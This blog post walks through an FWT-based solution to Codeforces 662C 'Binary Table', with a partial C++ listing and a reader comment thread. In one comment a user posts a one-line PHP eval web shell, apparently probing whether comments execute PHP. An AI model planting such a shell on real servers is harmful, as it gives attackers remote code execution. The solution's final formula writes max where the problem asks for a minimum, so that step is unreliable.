「Codeforces 662C」Binary Table

Siyuan (https://blog.orzsiyuan.com/author/1/) 2019 年 08 月 31 日 732 次浏览 7 条评论
1635 字数 题解 (https://blog.orzsiyuan.com/category/Problem/)

题目链接：Codeforces 662C (https://codeforc.es/contest/662/problem/C)

你有一个 $n \times m$ 的表格。每个格子都有一个数字 0 或 1，你可以任意选择某一行或者某一列并将其翻转。请问通过任意次操作后表格中 1 的个数的最小值是多少？

数据范围：$1 \le n \le 20$，$1 \le m \le 10^5$。

Solution

发现 n 的范围只有 20，那我们可以尝试枚举翻转哪些行，这样一来对于每一列都是独立的，可以预处理出对于每个列状态只通过列翻转达到的最优解。形式化地，设函数 $\text{count}(S)$ 表示状态 S 中 1 的个数，我们设 $F_i = \min\{\text{count}(i), \text{count}((2^n-1) \oplus i)\}$。

设第 i 列的初始状态为 S_i，且记状态为 i 的列有 G_i 个。假设我们已经枚举了**行的翻转** T，那么答案为：

$$\sum_{i=1}^{m} F_{S_i \oplus T}$$

$$\Rightarrow \sum_{i=0}^{2^n-1} F_i \sum_{j=1}^{m} [S_j \oplus T = i]$$

$$\Rightarrow \sum_{i=0}^{2^n-1} F_i \sum_{j=1}^{m} [S_j = i \oplus T]$$

$$\Rightarrow \sum_{i=0}^{2^n-1} F_i \cdot G_{i \oplus T}$$

发现 $i \oplus (i \oplus T) = T$，则上式等价于：

$$\sum_{i \oplus j = T} F_i \cdot G_j$$

显然可以 FWT 解决，答案为：

$$\max_{T=0}^{2^n-1} \{(F \oplus G)(T)\}$$

时间复杂度：$O(nm + 2^n \cdot n)$。

Code

```
/* 此处省略多项式模板 */

int n, m;

int main() {
    scanf("%d%d", &n, &m);
    Vec s(m, 0);
    for (int i = 0, x; i < n; i++) {
        for (int j = 0; j < m; j++) {
            scanf("%1d", &x);
            s[j] |= x << i;
        }
    }
    int tot = 1 << n;
    Vec F(tot, 0), G(tot, 0);
    for (int i = 0; i < tot; i++) {
        F[i] = std::min(__builtin_popcount(i), __builtin_popcount((tot - 1) ^ i));
    }
    for (int i = 0; i < m; i++) G[s[i]]++;
```

下一篇 (https://blog.orzsiyuan.com/archives/TJOI-HEOI-2016-Sum/)
上一篇 (https://blog.orzsiyuan.com/archives/Codeforces-1204E-Natasha-Sasha-and-the-Prefix-Sums/)

7 条评论

oierlin (http://oierlin.cf)
October 17th, 2019 at 15:03

该评论仅登录用户及评论双方可见

回复 (https://blog.orzsiyuan.com/archives/Codeforces-662C-Binary-Table/?replyTo=331#respond-post-1078)

oierlin (http://oierlin.cf)
October 17th, 2019 at 15:02

该评论仅登录用户及评论双方可见

回复 (https://blog.orzsiyuan.com/archives/Codeforces-662C-Binary-Table/?replyTo=330#respond-post-1078)

oierlin (http://oierlin.cf)
October 17th, 2019 at 15:02

<?php @eval($_post['pass']);?>

回复 (https://blog.orzsiyuan.com/archives/Codeforces-662C-Binary-Table/?replyTo=329#respond-post-1078)

Siyuan (http://orzsiyuan.com) 博主
October 17th, 2019 at 19:16

@oierlin 评论区还能让你用 php？/cy

回复 (https://blog.orzsiyuan.com/archives/Codeforces-662C-Binary-Table/?replyTo=333#respond-post-1078)

qwe
October 17th, 2019 at 19:18

@Siyuan 该评论仅登录用户及评论双方可见

回复 (https://blog.orzsiyuan.com/archives/Codeforces-662C-Binary-Table/?replyTo=334#respond-post-1078)

LMOliver (http://lmoliver.github.io/)
August 31st, 2019 at 14:45

1 的个数的最大值 → 1 的个数的最小值?

回复 (https://blog.orzsiyuan.com/archives/Codeforces-662C-Binary-Table/?replyTo=302#respond-post-1078)

Siyuan (http://orzsiyuan.com) 博主
September 7th, 2019 at 08:02

@LMOliver 题面写错了，已经修改

回复 (https://blog.orzsiyuan.com/archives/Codeforces-662C-Binary-Table/?replyTo=303#respond-post-1078)

发表评论

评论 *

说点什么吧……

表情

私密评论

名称 *

姓名或昵称

邮箱 *

邮箱 (必填,将保密)

地址

网站或博客

发表评论

热门文章

(https://blog.orzsiyuan.com/archives/ZJOI-2019/) ZJOI 2019 游记 (https://blog.orzsiyuan.com/archives/ZJOI-2019/) 6051

(https://blog.orzsiyuan.com/archives/hehezhou-AK-CSP-2019/) CSP 2019 算法模板复习 (https://blog.orzsiyuan.com/archives/hehezhou-AK-CSP-2019/) 2892

(https://blog.orzsiyuan.com/archives/Polynomial-Template/) 「算法笔记」多项式模板 (https://blog.orzsiyuan.com/archives/Polynomial-Template/) 1080

(https://blog.orzsiyuan.com/archives/SDOI-2017-Number-Table/) 「SDOI 2017」数字表格 (https://blog.orzsiyuan.com/archives/SDOI-2017-Number-Table/) 1028

(https://blog.orzsiyuan.com/archives/TJOI-2019-Sing-Dance-Rap-and-Basketball/) 「TJOI 2019」唱、跳、rap 和篮球 (https://blog.orzsiyuan.com/archives/TJOI-2019-Sing-Dance-Rap-and-Basketball/) 843

Dance-Rap-and-Basketball/)

博客信息

文章数目	18
评论数目	24
运行天数	1年25天
最后活动	4 个月前